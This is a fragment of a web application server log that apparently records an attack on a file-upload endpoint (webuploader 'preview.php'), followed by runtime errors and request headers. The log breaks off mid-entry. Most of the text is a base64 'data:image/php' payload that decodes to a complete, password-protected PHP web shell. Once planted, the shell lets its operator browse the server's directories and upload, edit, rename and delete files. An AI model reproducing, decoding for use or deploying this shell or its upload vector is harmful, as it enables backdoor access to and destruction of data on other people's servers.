'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'common' => 'lib', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:18+08:00 ] 116.213.36.234 POST 51tianwei.com/Public/Js/webuploader/0.1.15/server/preview.php [运行时间:0.002503s] [吞吐率:399.53req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'Js', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 